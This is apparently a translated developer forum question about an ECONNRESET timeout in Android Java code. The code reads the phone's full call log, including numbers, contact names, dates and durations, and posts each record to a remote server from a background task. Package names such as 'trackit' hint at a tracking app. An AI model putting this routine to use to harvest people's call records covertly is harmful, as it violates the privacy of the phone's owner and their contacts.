所以我一直在尝试一切来阻止这个错误。该应用程序运行良好,但它喜欢它超时然后继续,这使得它永远需要。我已经用谷歌搜索了这个,并在这里搜索了大约一个星期,似乎没有人对为什么或如何解决这个问题有一个好的答案。我使用专用服务器将数据上传到。
连接.java
public class CallLog extends AsyncTask<String, Void, String>
{
@Override
protected void onPreExecute()
{
super.onPreExecute();
}
protected void onPostExecute(String result)
{
super.onPostExecute(result);
}
@Override
protected String doInBackground(String... params)
{
try
{
String strOrder = android.provider.CallLog.Calls.DATE + " DESC";
Cursor cur = mContext.getContentResolver().query(uriCalls, null, null, null, strOrder);
if(cur.moveToFirst())
{
do
{
// GET CALL INFORMATION
String callID = cur.getString(cur.getColumnIndex(android.provider.CallLog.Calls._ID));
String callNumber = cur.getString(cur.getColumnIndex(android.provider.CallLog.Calls.NUMBER));
String callName = cur.getString(cur.getColumnIndex(android.provider.CallLog.Calls.CACHED_NAME));
long callDate = cur.getLong(cur.getColumnIndex(android.provider.CallLog.Calls.DATE));
String callType = cur.getString(cur.getColumnIndex(android.provider.CallLog.Calls.TYPE));
String isCallNew = cur.getString(cur.getColumnIndex(android.provider.CallLog.Calls.NEW));
String duration = cur.getString(cur.getColumnIndex(android.provider.CallLog.Calls.DURATION));
String formattedDate = new SimpleDateFormat("MM/dd/yyyy hh:mm").format(callDate);
// POST TO WEBSITE
System.setProperty("http.keepAlive", "false");
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new
HttpPost("http://mywebsite.com");
nameValuePairs = new ArrayList<NameValuePair>(6);
nameValuePairs.add(new BasicNameValuePair("call_id", callID));
nameValuePairs.add(new BasicNameValuePair("call_number", callNumber));
nameValuePairs.add(new BasicNameValuePair("call_name", callName));
nameValuePairs.add(new BasicNameValuePair("call_date", formattedDate));
nameValuePairs.add(new BasicNameValuePair("call_type", callType));
nameValuePairs.add(new BasicNameValuePair("call_duration", duration));
nameValuePairs.add(new BasicNameValuePair("call_isnew", isCallNew));
httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs,HTTP.UTF_8));
HttpResponse response = httpclient.execute(httppost);
HttpEntity entity = response.getEntity();
is = entity.getContent();
}
while(cur.moveToNext());
if (is != null)
{
is.close();
}
}
cur.close();
}
catch(Exception e)
{
Log.e("log_tag", "Error in http connection "+e.toString());
//error.setText("Connection error");
}
return null;
}
}
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}
堆栈跟踪:
06-03 12:09:08.941: W/System.err(16271): java.net.SocketException: recvfrom failed: ECONNRESET (Connection reset by peer)
06-03 12:09:08.951: W/System.err(16271): at libcore.io.IoBridge.maybeThrowAfterRecvfrom(IoBridge.java:545)
06-03 12:09:08.951: W/System.err(16271): at libcore.io.IoBridge.recvfrom(IoBridge.java:509)
06-03 12:09:08.956: W/System.err(16271): at java.net.PlainSocketImpl.read(PlainSocketImpl.java:488)
06-03 12:09:08.956: W/System.err(16271): at java.net.PlainSocketImpl.access$000(PlainSocketImpl.java:46)
06-03 12:09:08.956: W/System.err(16271): at java.net.PlainSocketImpl$PlainSocketInputStream.read(PlainSocketImpl.java:240)
06-03 12:09:08.956: W/System.err(16271): at org.apache.http.impl.io.AbstractSessionInputBuffer.fillBuffer(AbstractSessionInputBuffer.java:103)
06-03 12:09:08.956: W/System.err(16271): at org.apache.http.impl.io.AbstractSessionInputBuffer.readLine(AbstractSessionInputBuffer.java:191)
06-03 12:09:08.956: W/System.err(16271): at org.apache.http.impl.conn.DefaultResponseParser.parseHead(DefaultResponseParser.java:82)
06-03 12:09:08.956: W/System.err(16271): at org.apache.http.impl.io.AbstractMessageParser.parse(AbstractMessageParser.java:174)
06-03 12:09:08.956: W/System.err(16271): at org.apache.http.impl.AbstractHttpClientConnection.receiveResponseHeader(AbstractHttpClientConnection.java:180)
06-03 12:09:08.956: W/System.err(16271): at org.apache.http.impl.conn.DefaultClientConnection.receiveResponseHeader(DefaultClientConnection.java:235)
06-03 12:09:08.956: W/System.err(16271): at org.apache.http.impl.conn.AbstractClientConnAdapter.receiveResponseHeader(AbstractClientConnAdapter.java:259)
06-03 12:09:08.956: W/System.err(16271): at org.apache.http.protocol.HttpRequestExecutor.doReceiveResponse(HttpRequestExecutor.java:279)
06-03 12:09:08.956: W/System.err(16271): at org.apache.http.protocol.HttpRequestExecutor.execute(HttpRequestExecutor.java:121)
06-03 12:09:08.956: W/System.err(16271): at org.apache.http.impl.client.DefaultRequestDirector.execute(DefaultRequestDirector.java:428)
06-03 12:09:08.956: W/System.err(16271): at org.apache.http.impl.client.AbstractHttpClient.execute(AbstractHttpClient.java:670)
06-03 12:09:08.956: W/System.err(16271): at org.apache.http.impl.client.AbstractHttpClient.execute(AbstractHttpClient.java:509)
06-03 12:09:08.956: W/System.err(16271): at org.apache.http.impl.client.AbstractHttpClient.execute(AbstractHttpClient.java:487)
06-03 12:09:08.956: W/System.err(16271): at com.trackit.TrackRec$SMSReceive.doInBackground(TrackRec.java:140)
06-03 12:09:08.956: W/System.err(16271): at com.trackit.TrackRec$SMSReceive.doInBackground(TrackRec.java:1)
06-03 12:09:08.956: W/System.err(16271): at android.os.AsyncTask$2.call(AsyncTask.java:287)
06-03 12:09:08.956: W/System.err(16271): at java.util.concurrent.FutureTask.run(FutureTask.java:234)
06-03 12:09:08.956: W/System.err(16271): at android.os.AsyncTask$SerialExecutor$1.run(AsyncTask.java:230)
06-03 12:09:08.956: W/System.err(16271): at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1080)
06-03 12:09:08.956: W/System.err(16271): at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:573)
06-03 12:09:08.956: W/System.err(16271): at java.lang.Thread.run(Thread.java:841)
06-03 12:09:08.956: W/System.err(16271): Caused by: libcore.io.ErrnoException: recvfrom failed: ECONNRESET (Connection reset by peer)
06-03 12:09:08.961: W/System.err(16271): at libcore.io.Posix.recvfromBytes(Native Method)
06-03 12:09:08.961: W/System.err(16271): at libcore.io.Posix.recvfrom(Posix.java:140)
06-03 12:09:08.961: W/System.err(16271): at libcore.io.BlockGuardOs.recvfrom(BlockGuardOs.java:164)
06-03 12:09:08.961: W/System.err(16271): at libcore.io.IoBridge.recvfrom(IoBridge.java:506)
06-03 12:09:08.961: W/System.err(16271): ... 24 more
06-03 12:09:08.961: E/log_tag(16271): Error in http connection java.net.SocketException: recvfrom failed: ECONNRESET (Connection reset by peer)